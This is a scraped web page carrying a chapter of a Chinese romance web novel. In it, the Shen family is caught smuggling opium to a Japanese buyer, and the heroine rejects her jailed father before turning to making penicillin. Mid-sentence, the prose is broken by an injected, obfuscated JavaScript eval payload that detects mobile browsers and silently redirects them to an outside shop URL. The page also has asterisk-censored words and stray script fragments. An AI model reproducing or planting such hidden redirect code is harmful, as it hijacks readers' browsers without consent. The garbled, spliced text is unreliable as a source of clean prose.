第21章 沈家的覆灭
作品:《重生之少帅的掌心娇医》 连日阴雨,空气中弥漫着发霉的味道。
沈光宗像只热锅上的蚂蚁,在昏暗的房间里来回踱步。桌上那盏煤油灯忽明忽暗,映照出他那张因为焦虑而扭曲的老脸。
“那个废物!成事不足败事有余!”
沈光宗把茶杯狠狠摔在地上,骂的是刚像条死狗一样逃回来的沈志远。
沈志远缩在角落里,腿上的枪伤虽然被草草包扎了,但还在渗血,疼得他龇牙咧嘴:“现在骂我也没用了。陆淮锦的人已经盯上咱们了,那火没放成,反而把咱们最后一点底细给露了。”
“你还敢说!”沈光宗气得想踹他,“要不是你信誓旦旦说陆淮锦不在济世堂,老子会给你钱去买凶?现在好了,钱没了,人也得罪**!”
旁边的王氏哭丧着脸:“老爷,现在说这些有什么用啊?咱们手上没钱了,连这破仓库的租金都交不起了。再这么下去,咱们就要去要饭了!”
“要饭?”沈光宗眼中闪过一丝狠戾,“我沈光宗好歹也是海城有头有脸的人物,绝不能落到那个地步!”
他猛地停下脚步,目光死死盯着脚下的一块活动地板。
“既然陆淮锦不给活路,那咱们就只能铤而走险了。”
沈光宗压低声音,语气森然,“地下室里还压着最后一批货。那是特级的‘云土’,本来是打算留着过冬慢慢出的。现在顾不上了,志远,你联系那个叫田中的日本人。”
“今晚就出货!”
沈志远眼睛一亮:“那批货至少值五万大洋!只要出了手,咱们就有钱了!到时候拿着钱去香港或者南洋,照样吃香喝辣!”
“对!卖了它!有了钱,我看谁还敢瞧不起咱们!”王氏也跟着兴奋起来。
这一家子被贪婪蒙蔽了双眼的人,完全没有意识到,他们正一步步走进早已张开的猎网。
……
深夜,城郊码头。
江风呼啸,黑漆漆的江面上停着一艘不起眼的乌篷船。
几辆黄包车悄无声息地停在了码头边。
沈光宗和沈志远亲自押阵,指挥着几个心腹伙计,从车上搬下几口沉重的木箱子。箱子上伪装成了茶叶,但里面装着的,却是害人不浅的毒物。
“快点!手脚麻利点!”沈光宗紧张地四处张望,手里紧紧攥着一块怀表。
不远处的阴影里,那个叫田中的日本浪人正带着几个手下等着验货。
“沈桑,你的动作太慢了。”田中操着生硬的中文,一脸不耐烦。
“马上好!马上好!”沈光宗赔着笑脸,“田中先生,这次的货成色极好,您验验?”
田中用刺刀撬开一个箱子,挑了一点黑色的膏状物闻了闻,满意地点点头:“哟西。装船!”
眼看着箱子一个个被搬上船,沈光宗和沈志远对视一眼,都看到了彼此眼中的狂喜。
五万大洋,到手了!
然而,就在最后一箱货即将离地的一瞬间。
“啪!啪!啪!”
三颗信号弹骤然升空,将漆黑的江面照得惨白。
紧接着,刺耳的警笛声从四面八方响起。
“不许动!巡捕房!”
“不想死的都抱头蹲下!”
无数手电筒的光束瞬间汇聚在码头上。只见几十名荷枪实弹的巡捕,在宋副官的带领下,从集装箱后、草丛里冲了出来,瞬间包围了现场。
“怎……怎么会……”
沈光宗手里的怀表“当啷”一声掉在地上。
他看着那些突然出现的巡捕,再看看那一箱箱还没来得及运走的烟土,整个人像是被抽去了骨头,瘫软在地。
完了。
人赃并获。
“八嘎!有埋伏!”田中反应极快,拔出枪就想反抗。
“砰!”
宋副官抬手就是一枪,精准地打掉了田中的**。
“在中国的地界上**,还敢动枪?”宋副官冷笑一声,一挥手,“全部带走!一个都别放过!”
沈志远看着那些逼近的巡捕,吓得魂飞魄散,转身就想跳江逃跑。
可惜他那条伤腿根本使不上劲,刚爬上栏杆就被两个巡捕拽了下来,狠狠按在泥地里,脸颊在粗糙的地面上摩擦出血痕。
“放开我!我是冤枉的!都是沈光宗逼我的!”沈志远声嘶力竭地喊道,试图甩锅,“我只是个帮手!我什么都不知道!”
“你个畜生!”沈光宗气得浑身发抖,扑过去就要咬他,“主意是你出的!日本人是你联系的!现在你想独善其身?没门!”
二人当场狗咬狗,扭打在一起,丑态百出。
不远处的一辆黑色轿车里。
车窗半降。
陆淮锦坐在后座,冷眼看着这场闹剧。
“这就是你那所谓的‘家人’?”他转头看向身边的沈晚清。
沈晚清神色淡漠,仿佛在看一场与自己无关的滑稽戏。
“他们不是家人。”
她看着那个曾经高高在上、如今却在泥地里打滚的父亲,眼中没有一丝波澜,“从他们算计我母亲嫁妆的那一刻起,就是仇人。”
“现在,仇报了。”
陆淮锦伸手握住她有些冰凉的手指,掌心的温度传递过去。
“走吧。剩下的事,交给巡捕房。按照海城的律法,走私这么多烟土,够**十回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935509|192885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
轿车缓缓启动,驶离了喧嚣的码头。
……
次日清晨。
特大新闻再次轰动了海城。
《沈光宗落网!走私特**土案告破!》
街头巷尾,百姓们拍手称快。
“活该!这种**求荣的狗汉奸,早该抓了!”“听说沈家那个大小姐早就跟他们断绝关系了,真是明智啊!”“可不是嘛,要不是沈小姐大义灭亲,这毒瘤还不知道要祸害多少人呢!”
**的风向彻底倒向了沈晚清。她不再是被家族抛弃的可怜虫,而是深明大义、出淤泥而不染的新女性代表。
提篮桥监狱。
沈晚清站在探监室的铁窗外。
里面,沈光宗穿着灰色的囚服,一夜之间仿佛老了十岁,头发全白了。
看到沈晚清,他像是抓住了救命稻草,扑到铁窗前,痛哭流涕:
“晚清!晚清救救爹啊!爹不想死啊!你去求求陆少帅,你是他的救命恩人,他肯定听你的!只要能放我出去,爹以后什么都听你的!”
看着这个曾经威严、如今却卑微如狗的男人,沈晚清只觉得可悲。
“父亲。”
她最后一次叫了这个称呼,声音平静得近乎冷酷,“每个人都要为自己的选择付出代价。当你决定卖掉母亲的花瓶、当你决定贩**土去害人的时候,结局就已经注定了。”
“陆少帅是军人,军法无情。我救不了你,也不想救你。”
“你……你这个不孝女!”沈光宗见求情无望,瞬间变脸,破口大骂,“当初就该把你掐死!你身上流着我的血,你看着我死,你会遭报应的!”
沈晚清转身,留给他一个决绝的背影。
“我的报应会不会来,我不知道。但你的报应,已经到了。”
她走出监狱大门。
阳光刺眼。
她深吸了一口自由的空气。
沈家的阴霾,终于彻底散去。
从今往后,她沈晚清,只为自己而活。
济世堂内。
阿福正在擦拭那块“妙手回春”的牌匾。
“东家回来啦!”
沈晚清点点头,走进后院。
实验室里,亨利医生正对着显微镜兴奋地大叫:
“沈!快来看!你之前培养的那种绿色霉菌,它周围的细菌全部****!这简直是神迹!”
沈晚清眼中精光一闪。
家仇已报,接下来,该是国事了。
陆淮锦的伤需要它,北方的战场更需要它。
“准备提炼。”
沈晚清换上白大褂,神情专注,“这一次,我们要造出真正的‘黄金水’。”

